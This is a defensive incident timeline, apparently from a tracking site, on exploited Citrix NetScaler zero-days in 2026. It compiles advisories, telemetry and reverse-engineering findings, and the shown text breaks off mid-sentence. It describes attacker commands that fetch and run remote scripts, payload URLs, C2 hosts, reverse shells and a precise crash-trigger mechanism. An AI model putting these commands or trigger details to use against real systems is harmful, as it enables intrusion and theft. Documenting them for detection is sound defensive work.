On the afternoon of Friday 25 Sep, after a tip from a European partner, NCSC-NL confidentially informed companies and organisations, including central government, about two NetScaler zero-days being exploited outside the Netherlands, before any patch existed. Dark Reading reports that a copy of the pre-notification, marked TLP:AMBER+STRICT, was briefly posted on Reddit and then deleted; Tenable's RSO likewise notes community reports that it was distributed under TLP:AMBER+STRICT and says it has not independently obtained or reviewed the contents. According to BleepingComputer, the notice said Citrix found the vulnerabilities while investigating incidents at customers and filed a notification under the EU Cyber Resilience Act.
- Reported observation Validated
r/Citrix "Netscaler leak?" thread
User FastFredNL opens the thread at 06:43:22 UTC (08:43 CEST), reporting that an IT provider advised shutting NetScalers down immediately. It becomes the first public gathering point, with admins reporting similar unofficial advice over the weekend. Dark Reading dates the first reports to 25 Sep, but the thread itself was posted on 26 Sep.
Post timestamp checked on the thread itself (30 Sep). The shutdown advice is consistent with the Dutch government letter to parliament.
- Research
watchTowr: two unpatched RCE zero-days, found during forensics
Two vulnerabilities - both RCE. Unpatched, 0days. Exploited in-the-wild - discovered during forensics.
watchTowr adds that Citrix comms and patches are expected early the following week.
Sources: [74]
- Reported observation
IFIN opens a public tracking thread
IFIN starts compiling public reporting and observables for the NetScaler zero-days; it later states that all observables it shares were shared without restriction.
Sources: [81]
- Reported observation
watchTowr: pull NetScaler appliances offline immediately
Please, take this seriously and pull NetScaler appliances offline immediately.
watchTowr publicly warns that credible rumours of unpatched NetScaler RCEs are circulating; later that day CEO Benjamin Harris says the rumours are confirmed and urges admins to pull NetScaler appliances offline immediately.
Sources: [131]
- Reported observation
Dutch hospitals Amphia and ETZ close patient portals
Patients of Amphia (Breda) and Elisabeth-TweeSteden Ziekenhuis (Tilburg) cannot log in to their portals; other Dutch hospitals report problems too. That evening Z-CERT, the Dutch healthcare CERT, says it warned the sector about critical vulnerabilities in Citrix NetScaler and advised temporarily switching the system off.
Sources: [132]
- Official advisory
Public disclosure; Citrix publishes CTX697096 with fixes
Disclosure time per GreyNoise. The bulletin covers 8 CVEs. watchTowr notes the patch it analysed was dated 24 Sep, suggesting Citrix knew of the exploitation the week before.
- Official advisory
Citrix announces the bulletin on r/Citrix
A Citrix staff account (CTX-Michael) posts a CRITICAL UPDATE in r/Citrix linking the CTX697096 bulletin and the Citrix community blog post with its IoC section, and quoting that exploitation of CVE-2026-88771 and CVE-2026-88772 on unmitigated deployments has been observed.
- Telemetry
GreyNoise deploys CVE-specific tag
Tag deployed 20:28:39 UTC; the 24 Sep sessions are retro-tagged as CVE-2026-88771.
- Official advisory Validated
CISA adds CVE-2026-88771 and CVE-2026-88772 to KEV
Both were added on 27 Sep with a federal remediation deadline of 30 Sep. The 21:30 UTC release time comes from the compiled dataset and was not found in the sources checked.
Dates validated against the KEV catalog feed on 29 Sep.
- Telemetry
Unit 42: 50,277 exposed instances
Palo Alto Networks Cortex Xpanse identifies 50,277 exposed NetScaler instances that could potentially be vulnerable (update posted 4:15 p.m. PT). Exposure, not confirmed compromise.
Sources: [123]
- Official advisory
Danish Defence Intelligence (FE) and CERT-EU warn NetScaler users
The Danish Defence Intelligence Service sent a warning urging NetScaler users to update, per Ingeniøren. CERT-EU published Security Advisory 2026-014 recommending an immediate update of all customer-managed appliances and enabling Enhanced ISN Generation where TCP is configured.
- Reported observation
Beaumont: three CVEs chained, webshells all September
The primary vulns being exploited are CVE-2026-88771, CVE-2026-88772, CVE-2026-88773 chained. It gives unauth RCE in default appliance config. Attackers using it to drop webshells all month of September. Probably nation state aligned
Beaumont's claim; attribution not independently verified.
Sources: [87]
- Reported observation
Beaumont: patches live, detection script behind NDA
patching alone doesn't remove the backdoors being placed
Patches are live on the main support site; Citrix's detection script is locked behind NDA/support.
Sources: [88]
- Reported observation Validated
Beaumont: Console check misses earlier attempts
The NetScaler Console check misses earlier semi-successful attempts because it relies on logs not having rotated; he adds that the activity is weeks old because of slow disclosure.
Validated independently on 29 Sep.
Sources: [89]
- Official advisory
NHS England alert CC-4858
NHS England's National CSOC rates the threat High and assesses further exploitation as almost certain. It strongly recommends a compromise assessment before patching, since patching first may delete evidence, and warns that end-of-life 12.1 and 13.0 releases are likely vulnerable and receive no fix. Published 10:40 UK time.
Sources: [32]
- Reported observation
Beaumont names it "PitScaler"
I'm tracking over 100 victim orgs now. Each one has a unique webshell which can't be scanned for remotely unless you're the attacker. It's espionage.
Victim count is Beaumont's claim, not independently verified.
Sources: [90]
- Reported observation Validated
Beaumont: Citrix checker incomplete
Some really big orgs are backdoored after patching still
The checker does not check for suid on /bin/sh; Beaumont calls on NCSCs to publish a detection script.
The missing suid /bin/sh check was validated independently on 29 Sep. The claim about big organisations still being backdoored is not independently verified.
Sources: [91]
- Official advisory
CERT-FR, CSSF (Luxembourg) and CERT Quebec issue alerts
CERT-FR says the two vulnerabilities allow unauthenticated remote code execution, are actively exploited and were exploited before patches existed. The CSSF points supervised financial entities to the CIRCL report and reminds them that unauthenticated remote code execution is unauthorised access, so it counts as a major ICT-related incident to notify under DORA or its national circulars. CERT Quebec rates the risk critical (TLP:CLEAR) and says Quebec public bodies using a vulnerable product must test and deploy the vendor updates or mitigations.
- Reported observation
Press covers the weekend shutdown warnings
BleepingComputer, SecurityWeek, The Record and CyberScoop cover the story.
- Research
CERT-EU technical writeup on CVE-2026-88771
"Taking 'execute logging' a bit too literally" - root cause, attack chain and hunting guidance.
Sources: [39]
- Official advisory
Government advisories worldwide
NCSC-NL NCSC-2026-0394 [H/H], NCSC-UK, CSA Singapore AL-2026-129, plus Canada, HKCERT, ACSC, and CIRCL TR-100 with per-CVE config-check CLI commands.
- Telemetry
GreyNoise publishes TLP:CLEAR IoC set
"Swarming Against Citrix 0-Day Exploitation" - the first public IoC set in this compiled dataset as of 29 Sep, with a companion Chronicle timeline.
- Research
watchTowr Labs part 1 (CVE-2026-88771)
"Oh Look, the Foot Gun Went Off Again", published with a Detection Artefact Generator (PoC-class tool).
- Telemetry
Censys and Shadowserver count exposed NetScalers
Censys detects NetScaler ADC or Gateway on 42,735 hosts and 323,527 web properties; these are exposed instances, not confirmed-vulnerable counts. Shadowserver reports more than 20,000 instances exposed and potentially at risk.
- Telemetry
Lupovis honeypots see exploitation minutes after the public PoC
Lupovis says its sensors recorded live CVE-2026-88771 exploitation attempts within minutes of watchTowr releasing its PoC; the attempts were opportunistic, from several distinct actors.
- Research
First public detection rules
Elastic merges a rule for NetScaler log-poisoning command injection; Corelight publishes Zeek hunting queries. Sigma and Nuclei pull requests follow (28-29 Sep, still unmerged at snapshot time).
- Research
Truesec publishes potential C2 IPs
Truesec lists 104.248.244.66, 139.180.152.138 and 77.83.199.39 as potential C2 IPs it has observed.
Sources: [50]
- Official advisory Validated
ACSC alert; Australian organisations later confirm exploitation
Australia's ACSC publishes an alert on 28 Sep. In an update it says Australian organisations have since confirmed exploitation, and recommends reviewing for evidence of compromise since at least 4 Sep 2026. The original background text, still lower on the page, says no Australian exploitation had been confirmed at first publication.
Both statements checked on the ACSC page on 1 Oct.
Sources: [26]
- Reported observation
Dutch ministry and hospitals take systems offline
The Dutch Ministry of the Interior took all Citrix environments offline over the weekend; patients of two major hospitals (Amphia and ETZ) could not view their records, and Frisius MC in Leeuwarden shut down some digital systems as a precaution (SDxCentral, citing Techzine).
Sources: [127]
- Research
Sygnia: new "unexpectedly died" log-poison variant
Sygnia saw commands after pitboss PPE unexpectedly died NSPPE; in raw logs: copying ns.conf to /var/netscaler/logon/insight-new.js (00:59 UTC), curl of update_c08937.pl from 64.94.85.67 piped to perl (03:18 UTC) and whoami (04:05-04:07 UTC). Sygnia notes this shows the commands reached the vulnerable logging path, not that they ran.
Sources: [54]
- Reported observation
Beaumont: mass exploitation
#PitScaler is under mass exploitation, seeing it spray and pray now. I've done some firmware version scanning, fewer than 10% of boxes are patched
The <10% figure is Beaumont's own estimate, not independently verified.
Sources: [92]
- Reported observation Compromise unverified
Beaumont posts a public message to the NSA
do forensics on 103.41.70.207,vdicorp.nsa.gov
The domain resolves to that IP. That the host is an NSA-operated Citrix system has been validated independently. That it is compromised is Beaumont's implication and is not verified. This briefing does not identify any organisation as compromised, and these values are not listed as IoCs.
Sources: [93]
- Reported observation Validated
Beaumont: IR writeups expose victim-unique indicators
IR vendors are publishing PitScaler writeups containing victim-unique webshell names (.sig files) and attacker IPs, which he says lets him map victim orgs via network traffic. He warns that unremediated orgs' published webshell names can be used to access their boxes, and says one vendor uploaded its IR investigation to VirusTotal.
Validated independently on 29 Sep.
Sources: [94]
- Reported observation
The Register: government, banks and professional services targeted
Why Citrix took so long to disclose these vulnerabilities is a question only Citrix can answer
It reports GTIG/Mandiant findings that government, financial services, technology, education and legal and professional services organisations in North America and Europe were likely hit. watchTowr CEO Benjamin Harris criticises the slow disclosure and says no attribution has been made public.
- Research
Martin's Blog: two build-diff analyses - CVE-2026-88771 source-to-shell path in ns_monuploadd_err.pl; CVE-2026-88772 missing cumulative DTLS bound
Two independent reverse-engineering posts at mac.sploit.dk compare the 14.1-73.30 and 73.37 vendor artifacts (archive and binary hashes published; no exploit run, static analysis plus controlled lab only). CVE-2026-88771 post: on 73.30, /netscaler/ns_monuploadd_err.pl -WR greps ns.log/ns.log.0/messages for pitboss "missed too many heartbeats|unexpectedly died" lines, takes everything after the final NSPPE token as a core-file name via an unquoted tail|sed|awk pipeline, and interpolates it into a Perl backtick - a shell sink. A failed management POST /login/do_login writes the attacker username verbatim into ns.log (HTTP 303, storage primitive only). With a harmless touch-canary username, command execution was demonstrated in the lab when the script was explicitly invoked with -WR from an authorised root shell (exit 100, canary file created); three genuine NSPPE recovery tests (SIGKILL, SIGABRT, SIGSTOP through the heartbeat threshold) produced zero observed -WR invocations, so the automatic trigger remains unproven and the author keeps attempt and execution strictly separate. The 73.37 repair replaces the permissive parser with a strict NSPPE-<nn> (PID) regex, list-form open (no shell) for find, and a path-character allowlist; the same input is inert on 73.37. The post publishes detection guidance with confidence levels (parser-shaped username = high-confidence attempt; shell syntax or /var/log/htt|b64decode|LogonPoint/custom references = very high; -WR activation or descendant shell = execution evidence), a Python offline scanner, a Sigma rule and Splunk correlation. It also hashes the vulnerable 73.30 script fb7f574a... and the fixed 73.37 script 02b24a99... - the former matching the Poppelgaard checker's vulnerable-copy check. CVE-2026-88772 post: the DTLS copy routine in nsppe 73.30 (sub_1434A80, dispatch through DTLS method tables carrying 0xfeff/0xfefd version values) copies a header plus a linked buffer chain into a 0x8c00-byte scratch buffer with no cumulative bound; 73.37 adds a countdown check that rejects an element before the copy when remaining capacity is exceeded (error 0x32 path). The arithmetic matches watchTowr's 173,665-byte test case against the 35,840-byte destination. The post flags an easy-to-miss exposure detail: the bulletin also covers virtual servers configured with type DTLS (including load-balancing vservers), not only VPN vservers with DTLS on by default - checking only VPN configs can leave an affected service out of the inventory. The watchTowr detection-artifact-generator program is inspected, not run, and the author warns it contains ROP chains and arbitrary-write code - lab only.
- Research
watchTowr Labs part 2 (CVE-2026-88772)
"Here We Go Again" (Sina Kheirkhah) - full RCE analysis plus a second Detection Artefact Generator.
- Research
Google GTIG / Mandiant: custom malware WHIPSHOT and SLAPSHOT
The CVE-2026-88772 campaign has been ongoing since at least early September. WHIPSHOT is a PHP webshell staged with a .deb disguise that hides base64 C2 in HTTP headers; SLAPSHOT is a Python TCP tunneler (open/push/pull/exch/close/ping) used to reach internal networks for reconnaissance and credential theft.
- Reported observation
BleepingComputer: credential theft and internal spread
It reports that attackers exploited CVE-2026-88772 to deploy webshells and tunneling malware, gain root, steal credentials and spread into internal networks, citing Mandiant. GTIG itself describes the credential theft and internal reconnaissance in at least one observed intrusion.
- Reported observation Validated
Mandiant CTO: check for compromise before patching
Given the active exploitation, NetScaler customers should prioritize examining their systems for compromise *before* upgrading/patching
Charles Carmakal on LinkedIn, as quoted by The Register.
Quote validated against a second, non-public source on 29 Sep.
Sources: [122]
- Research
Nextron releases THOR rules and a NetScaler filesystem IoC set
Three rules in the THOR Preview channel (higher false-positive rate than stable rules) plus a YAML IoC set derived from the filesystem checks in Citrix's scanner script. A match is a lead, not proof.
Sources: [52]
- Research
eSentire publishes first-hand IR findings and IoCs
Two webshell variants (.ico and .deb), 14 IPs and 2 SHA-256 hashes; the technique matches CERT-EU's description. eSentire advises treating appliances that were Internet-facing and unpatched in early September as potentially compromised until an integrity assessment shows otherwise.
Sources: [69]
- Telemetry
Defused: hundreds of decoy hits across multiple exploit paths
Defused reports hundreds of CVE-2026-88771 hits on its decoys in 24 hours via /nf/auth/doAuthentication.do, /cgi/login, /p/u/doLogon.do, /logon/LogonPoint/tmindex.html and User-Agent payloads on /. Observed follow-up: whoami/id to prove root, nx_verify.html marker files, curl/wget/fetch pulling a second stage, and blind DNS callbacks. Full IoCs are on Defused Radar (not reproduced here).
Sources: [85]
- Official advisory
DKCERT warns Danish universities and research institutions
DKCERT, the CERT for the Danish research and education network, reports two critical NetScaler zero-days exploited before a patch and notes that several administrators took systems offline before Citrix published details.
Sources: [31]
- Reported observation
Mandiant: dozens of organisations impacted
Cybersecurity Dive reports Mandiant CTO Charles Carmakal saying the actor deployed webshells and moved laterally into internal networks at some targets, with dozens of organisations impacted across North America and Europe, including telecommunications.
Sources: [128]
- Official advisory
Dutch government confirms preventive disconnection
Letter to parliament: on Saturday 26 Sep the CIO Rijk set the line "loskoppelen tenzij" (disconnect unless) for central government, and it was broadly applied; remote-work access has not yet been restored everywhere while the patch is tested and forensic investigation continues. Beaumont relays it at 18:32 UTC as "shut down all Citrix Netscalers".
- Reported observation
Ingeniøren: PET, Danish Defence and police shut down Citrix
Based on Shodan data, Ingeniøren reports that PET, the Danish Armed Forces, the Danish police and Copenhagen Airport, among many others, had to switch off their Citrix environments over the weekend. None of the agencies would explain why.
Sources: [126]
- Research
Unit 42 expands its threat brief
Adds pre- and post-disclosure activity back to 21 Aug, analysis of the nsg64.deb RC4 webshell and the .ctxs.receiver webshell, hunting queries and a formal IoC list. Updated 15:00 PT.
Sources: [123]
- Official advisory
CERT-FR updates its alert with GTIG indicators
The update relays the GTIG/Mandiant indicators and YARA rules, which ANSSI says it has not qualified, and the two patterns GTIG calls characteristic of successful exploitation: a DTLS handshake-failure line in syslog, and a pitboss NOT restarting NSPPE line in /var/log/messages. CERT-FR also says it knows of public proof-of-concept code for CVE-2026-88771 (noted 28 Sep) and for CVE-2026-88772.
Sources: [22]
- Official advisory
NCSC-NL revises its advisory to version 1.0.1
The revision (30 Sep) extends the recommended actions with information on the Console scan script and IoCs, and says customers without Console should ask Citrix Support for the generic IoCs. The advisory says installing the update prevents new abuse but does not rule out earlier abuse, advises securing relevant logging and a memory dump before updating, and says appliances that were internet-facing before the update should be treated as possibly compromised.
Sources: [18]
- Research
TENEX traces a Platypus C2 chain from the injected login
From malicious login requests TENEX followed four rotating staging hosts to a shell loader that enrols the off-the-shelf Platypus agent from entretiensol.com, then mapped a four-node C2 cluster through one shared TLS certificate. It also recovered the Python (customsnmpd reverse shell) and Perl (sec_monitor, .local_journal webshell, SUID /bin/sh, config theft) stages, and saw a separate loud wave of commodity payloads after the public PoC. TENEX does not name an actor and says logs show attempts, not confirmed execution.
Sources: [55]
- Official advisory
Citrix updates its community bulletin
Last updated 30 Sep. It adds: a known issue where 13.1-64.23 can enter a reboot loop during upgrade if show ns variable lists variables (use 13.1-64.24); a Console Security Advisory scan that may wrongly flag 13.1-64.23 as vulnerable until the next automatic advisory update; a note that NetScaler VPX 15.1 Technology Preview is also vulnerable, is not permitted in production, and a fix will follow; and that samlRejectUnsignedAssertion OFF is no longer supported and is converted to the secure default on upgrade. For suspected compromise Citrix recommends deploying a new, updated instance rather than relying on the update, forwarding logs to an external SIEM, and using Console File Integrity Monitoring.
Sources: [13]
- Research
Arctic Wolf publishes follow-up exploitation IoCs and the nsmon.pl implant
Commands fetched Python, Perl and shell scripts, opened reverse shells and sent Base64 command output over HTTP. The 3,752-byte Perl script nsmon.pl installs under /var/tmp/.nsmon, attempts to add a root cron entry every five minutes, attempts to listen on a port in 41000-41999 and begins a UDP or TCP check-in. These are attempts in the visible code, not proven persistence. Arctic Wolf also shows the injected username as it appears in AAA, AAATM and SSLVPN appliance logs.
Sources: [53]
- Research
Sygnia publishes an IR-based advisory
Investigation-derived indicators (IPs, .sig artefacts, a JSON artefact and a SHA-256) that Sygnia stresses are context-specific and not Citrix-published; validate NAT and direction before blocking.
Sources: [54]
- Reported observation
Mandiant CTO: suspected state-sponsored actors likely behind the first intrusions
Help Net Security relays Carmakal saying advanced and suspected state-sponsored threat actors are likely behind the initial targeted intrusions that used CVE-2026-88772, with dozens of organisations impacted across North America and Europe. No actor is named.
Sources: [112]
- Official advisory Deadline - upcoming
Deadline: CISA KEV federal remediation
Both CVEs were added to KEV on 27 Sep with a due date of 30 Sep, giving US federal agencies three days. The required action is to apply Citrix mitigations under BOD 26-04 and CISA's Forensics Triage Requirements, or stop using the product if mitigations are unavailable; the KEV notes say customers must conduct forensic triage. The KEV entry gives a date only (2026-09-30), no time of day. CISA's directive deadlines are conventionally 11:59 PM U.S. Eastern (23:59 EDT, 03:59 UTC on 1 Oct), and third-party KEV trackers treat the due date the same way, but CISA publishes no official time for KEV due dates - so the deadline was passed by 1 Oct 04:00 UTC at the latest. A deadline, not an event.
- Reported observation
Beaumont: Arctic Wolf set is new "spray and pray" activity
He says the follow-up activity covered by the Arctic Wolf IoCs is definitely not related to the initial actor in early September.
Sources: [97]
- Research
Poppelgaard checker v1.9 adds public indicators
Release 1.9 of the free, read-only CTX697096 checker script adds, among others, Arctic Wolf's nsmon.pl implant, the Unit 42 .deb webshell and more attacker IPs, and tags each attack line as before or after the fix. Its author says a clean result is not proof of a clean appliance.
Sources: [56]
- Official advisory
NCSC-FI (Finland): confirmed intrusions in Finland before the patches
The National Cyber Security Centre Finland (NCSC-FI, part of Traficom) publishes an alert after receiving reports of active exploitation of the CTX697096 vulnerabilities in Finland, including intrusions that began before Citrix released the security updates on 27 September. The underlying Finnish warning page (Warning 1/2026) classifies it as a yellow warning ("Keltainen varoitus"). NCSC-FI says internet-facing NetScaler systems should be assumed to have been exposed to attacks, that updating alone may not be enough because an attacker may have established a persistent foothold, and that organisations must investigate for compromise even if they patched quickly: review logs and administrative changes, check user accounts created on the systems, scheduled tasks, services and other persistence, and change administrative passwords if compromise is suspected. NCSC-FI says it has identified hundreds of NetScaler instances in Finland and contacted their administrators, and asks organisations to report observed exploitation and intrusions.
Sources: [28]
- Official advisory
BSI (Germany) updates its warning and recommends this site's IoC list
BSI's TLP:CLEAR warning BITS-H 2026-289305-1132 (version 1.1, 1 Oct) rates the criticality 3 / Orange, meaning act immediately. It says logs should be checked back to at least early September, that patching alone does not remove a compromise, and that operators should check for a compromise even if they patched on release day. In its update it links to PitScaler as a place that collects detection options and IoCs from several sources, and recommends that operators use the growing IoC list.
Sources: [27]
- Official advisory Validated
Citrix ships version 4 of its IoC detection logic
Citrix has released a fourth version of the IoC detection logic used by the NetScaler Console scan. Citrix's documentation says the logic keeps being updated and that Console shows when an update is available, so rerun the scan after updating.
Version 4 validated independently on 1 Oct.
Sources: [15]
- Research
Analysis: "NetScaler Needs More Than Another Patch" - the case against treating each emergency as the fix
A long-form analysis by "Martin" (mac.sploit.dk, 08:00 CEST, opinion; the site's about page says only that the author has "spent a long time working in cybersecurity") argues that the recurring emergency-patch cycle is the wrong frame. Its claims, each with stated boundaries: NetScaler 14.1 runs a vendor-modified FreeBSD 11.4 base (upstream EOL since September 2021); of 107 examined executables under /netscaler, 106 lack PIE and only one has RELRO (from the author's earlier lab assessment of build 73.30, not evidence of an internet-reachable path); most packet and control-plane services observed ran as root with no visible privilege drop, and the author reports a locally demonstrated authentication failure in the privileged configuration service. It reads Citrix's 1 October NetScaler 15.1-9.30 Tech Preview (FreeBSD to Linux, BLX/DPDK data plane, ASLR, SELinux auditing, Yama, faster third-party patching) as promising platform work that does not fix NetScaler's own application-layer bugs, and notes it is a days-old vendor-described preview, not independently tested. Also notes CVE-2026-88771 was a root Perl script passing failed-login text to a shell via backticks - command construction, not memory corruption - so memory-safety roadmaps alone would not have stopped it. Renewal-meeting checklist included (SBOM, privilege separation evidence, mitigation settings, session-kill guidance, ZTNA off-ramp). All vendor bulletins it cites are already on this page.
Sources: [45]
- Reported observation Validated
Beaumont: patched honeypots crash, "we may have PitScaler 2"
Beaumont says his patched 13.1 and 14.1 honeypots are crashing, from multiple source IPs, and posts greps for authentication-daemon (nsaaad) crashes and pitboss restart messages in ns.log, one of them for 213.209.159.55. The two screenshots in the post show a write-up (author not named) about two 14.1-73.37 appliances that rebooted repeatedly after nsaaad crashed with exit status 0x8a and hit the restart limit of six. On one of them, crafted usernames on SAML factors told the appliance to fetch a payload from 213.209.159.55 over plain HTTP on port 443, save it as /v and run it, just before each crash. The write-up says this shows exploitation attempts and correlated crashes, not confirmed command execution, a CVE or a firmware regression, and adds *.pyrlink.cc as a later delivery source. This is unverified: at the time there was no CVE and no vendor or CERT statement.
Post text and both screenshots read directly on 2 Oct.
Sources: [98]
- Reported observation Validated
Beaumont: the pitboss fix "looks bypassable" (to be confirmed)
In a reply to his honeypot post, Beaumont says that, to be confirmed, it looks like the pitboss fix is bypassable. He gives no technical detail, and Citrix has not said whether builds with the CTX697096 fixes are affected by the new SAML issue.
Post text read directly on 2 Oct.
Sources: [100]
- Reported observation Validated
Beaumont: a patched honeypot is running a downloaded binary
Beaumont says one of his honeypots is running a downloaded (malware) binary, that both were patched so he concludes it is a new vulnerability, and that it is being sprayed and prayed. One honeypot has no valid TLS certificate because he let it expire. He does not say whether the honeypots had SAML configured, and Citrix lists no affected versions yet. These are one researcher's observations and conclusions.
Post text read directly on 2 Oct.
Sources: [101]
- Reported observation
Beaumont: the responder policy he says Citrix shared as a SAML workaround does not work for him
Asked by O_P whether he tried the responder policy from Citrix Support on his crashing honeypot - and whether enhanced ISN was on and he saw the reboots others report - Beaumont replies that "the policy citrix gave out doesn't work for me". This implies Citrix Support is sharing a responder policy as a workaround for the new SAML issue, and that it has not worked on at least one appliance. Single source; the policy text has not been seen, Citrix's own post does not mention any policy, and he does not answer the enhanced-ISN or reboot questions in the reply.
Sources: [102]
- Official advisory
Citrix publishes guidance on a new SAML issue, independent of CTX697096
Citrix says it is tracking a newly observed issue related to SAML authentication in customer-managed NetScaler deployments. The issue is associated with deployments that use SAML authentication in conjunction with Gateway or AAA functionality, and is configuration dependent based on the information currently available. The NetScaler is affected when at least one of the following SAML commands is present in the configuration: add authentication samlAction.* or add authentication samlIdPProfile.*. Recommended action: inspect the Gateway and AAA configuration for a SAML authentication action, contact Citrix support if currently experiencing impact, and upgrade to the updated software as soon as possible once the security bulletin is published. Citrix says the issue is independent of the vulnerabilities disclosed in CTX697096, that a new security bulletin and simultaneous product update release is planned, and that it will update the blog as more information becomes available. The post lists no CVE, affected versions, fixed builds or workaround yet, and points to the upcoming bulletin for the definitive list of affected versions, fixed builds and applicability conditions. Last updated 2 October (Pacific Daylight Time). Beaumont links the post at 20:00 UTC; his post was edited at 20:15 UTC, softening "pitboss will execute commands again" to "something will execute commands again" (per the edit history of the post).
- Reported observation
Beaumont: "The Citrix support mitigations don't appear to work"; admins firewall-blocking attacker IPs
Beaumont posts that the Citrix support mitigations do not appear to work, that admins are firewall-blocking known threat-actor IPs as a mitigation instead, and that many people cannot reach Citrix Support ("they've replaced people with AI chat bots"). His screenshot is an r/Citrix thread ("vulnerability scans causing netscaler reboots") where anonymous commenters report NetScaler restarts, one saying the responder-policy fix they received "didnt change anything", another that blackholing the attack IPs "semi works till they change their ip", and a third describing an endless Citrix support chatbot loop. Anonymous Reddit comments relayed via one researcher: unverified, no policy text, and no new IoCs. The thread matches the crash and reboot pattern in the earlier 14.1-73.37 screenshots.
- Reported observation
heise: mass spontaneous reboots on fully patched devices; exploit "apparently circulating" since the evening of 2 October
heise online (Dr. Christopher Kunz, 10:23 CEST) reports that security researchers and administrators are seeing mass spontaneous reboots of devices that were on the latest patch level, that an exploit for the new issue has apparently been circulating since the evening hours of 2 October, and that it can likely be triggered by sending SAML requests in bulk to a vulnerable device. It relays Beaumont's honeypot findings (a downloaded malware binary running on patched devices, so "new vulnerability") and frames the new issue as a possible bypass of the September fix - his framing, not Citrix's. It quotes the claim that "the watchTowr Labs team has now successfully reproduced the vulnerability" without naming its source; watchTowr's own X post the same day confirms the reproduction in its own words (see the next entry). heise notes Citrix's blog names no effective countermeasures and no patch exists yet, and links the same r/Citrix reboot thread. Says it will update the article continuously.
- Reported observation Approximate date
Cybersecurity News rounds up the 14.1-73.37 reboot reports: crafted SAML traffic crashing nsaaad, pitboss restarting appliances
Cybersecurity News (Guru Baran, article dated 3 October; the page shows only the date - earliest observed trace is a Bluesky share at 03:06 UTC, so the publication time is approximate) reports that customers are seeing repeated appliance reboots after installing build 14.1-73.37, linking them to crafted SAML authentication traffic that crashes the nsaaad authentication service until the pitboss watchdog restarts the appliance. It relays anonymous Reddit reports of severity-one cases with Citrix and of Citrix support "reportedly" preparing a fix, and states itself that these reports "do not yet prove attackers have bypassed the September patch" - a crash of nsaaad may be denial of service only, without sender control of the device. Secondary source: the underlying claims are anonymous forum posts it does not link individually, no new technical detail beyond the earlier r/Citrix thread, no Citrix statement, and no new IoCs. Its advice (preserve core files and logs before another restart, correlate reboot times with inbound SAML requests, check nsaaad crash messages in /var/core) matches the checks already on this page.
- Research
watchTowr confirms it has reproduced the new vulnerability; mitigation rulesets for platform clients only
watchTowr posts on X: "Unfortunately? Fortunately? the watchTowr Labs team has now successfully reproduced this vulnerability. watchTowr Platform clients now have mitigation rulesets available to them via our Active Defense capability. Speak soon." The post does not name the vulnerability; in context it is understood to be the SAML issue that heise quoted the same day, and that reading is this site's inference, not watchTowr's statement. What the post itself establishes, in watchTowr's own words: it has reproduced a vulnerability and has mitigation rulesets for Platform clients via Active Defense. Nothing indicates a public ruleset, advisory or IoCs yet. This site lists no watchTowr SAML indicators, and none are implied by this post.
- Official advisory
Citrix releases a new responder policy via Support (3 October); not yet in Citrix's public post
Citrix has released a new responder policy as a mitigation for the SAML issue, distributed through Citrix Support on 3 October. The Poppelgaard checker README describes it and recognises it by behaviour on the appliance: any responder policy whose rule mentions samlauth or doAuthentication, bound to a Gateway/AAA vserver or globally, alongside Citrix's earlier RSP_POL_DROP and community Gotham policies. Citrix's public SAML post does not mention the policy yet and its text has not been published; distribution is through Support (under NDA), which matches Beaumont's reports of a responder policy shared through Support ("the policy citrix gave out doesn't work for me" on Oct 2, "the Citrix support mitigations don't appear to work" on Oct 3). The checker reminds admins to ask Citrix Support for the new policy and verifies whether it is bound - and flags a [CHECK] state where a policy is bound but the Responder feature is disabled, which silently ignores it.
- Official advisory
CVE-2026-88779 assigned: bulletin CTX697174 with new fixed builds; Global Deny List interim mitigation
Citrix publishes bulletin CTX697174 for CVE-2026-88779 - the CVE behind the SAML issue it had described without a CVE since 2 Oct. Memory overflow, CVSS 4.0 8.7, DoS; Citrix credits Bishop Fox and watchTowr, per Tenable says it has observed targeted attacks on unmitigated deployments, and has so far found no impact on customer data integrity. Fixed builds are newer than the September ones: 14.1-73.41, 13.1-64.28, 14.1-73.41 FIPS, 13.1-37.282 FIPS/NDcPP - SAML deployments that upgraded on 27 Sep must upgrade again. Citrix also releases Global Deny List signatures as an interim mitigation for standard (non-FIPS) 14.1 and 13.1 appliances on the September builds, managed through NetScaler Console, and a blog explaining them. Only SAML SP or IdP configurations are affected (the same applicability check as the 2 Oct guidance).
- Research
FreeBSD Sliver C2 implant tied to pylrk.cc delivery: independent malware analysis (TLP:CLEAR), corroborated by Expel IR
A TLP:CLEAR malware analysis report dated 2 October ties the two 2 October threads together: the payload served at f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host is a Sliver C2 implant cross-compiled for FreeBSD - the operating system under NetScaler - built specifically for these appliances. Statically linked stripped Go ELF64, 8,822,784 bytes. Static strings (sample not executed): hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 with tunnel/reverse-shell capability (consistent with the netcat-style callbacks Expel described in this campaign), a spoofed Chrome 108/Windows User-Agent for its own beacons, and no embedded IP - C2 resolves via DNS to pylrk.cc. VirusTotal: 31 of 75 engines, all Sliver/Vilers labels; first submitted 2 Oct 11:49 UTC; recorded filenames /var/tmp/.host, /private/var/tmp/.host and citrix3.bad (appliance paths). Corroboration: an Expel IR observation of exploitation against a NetScaler Gateway in late Sep-early Oct. This connects the pylrk.cc delivery domain to actual malware, and distinguishes this FreeBSD implant from the Perl webshell hosted on 213.209.159.55 (a separate, weaker-signal payload). The report is vendor-independent: no vendor or CERT has published on it. IoCs are on this page's IoC list.
- Research
Martin's Blog: candidate mechanism for the nsaaad SAML crash - 16-entry unterminated PrefixList array, canary read as string pointer, SIGBUS in strlen
A reverse-engineering post at mac.sploit.dk (3 Oct, updated 4 Oct after CTX697174 assigned CVE-2026-88779) proposes a candidate mechanism for the nsaaad crash, with stated boundaries. In build 14.1-73.30, a routine identified by embedded source strings as canonicalize_data (at 0x429750) puts namespace-prefix pointers into a sixteen-entry stack array at rbp-0xb0; the saved stack canary sits at rbp-0x30, exactly 16 pointers later. The code accepts sixteen space-separated InclusiveNamespaces PrefixList entries but the consuming diagnostic loop walks the array until a NULL sentinel - and with exactly sixteen entries there is no room for one, so the next load reads the saved canary and treats it as a string pointer. A controlled test against a disposable host-only 14.1-73.30 appliance (no AAA licence, so the daemon was driven over guest loopback at the internal message boundary, not through a network-facing Gateway) showed: 15 entries canonicalize successfully, 17 entries are rejected cleanly, and exactly 16 kill nsaaad with SIGBUS in strlen, exit status 0x8a, one Pitboss restart, and a core whose frame shows the canary value 0x94c4ee494769e33 as the failing strlen argument. Static analysis puts both the SAML SP and IdP parser paths through nsppe (byte-length limited to 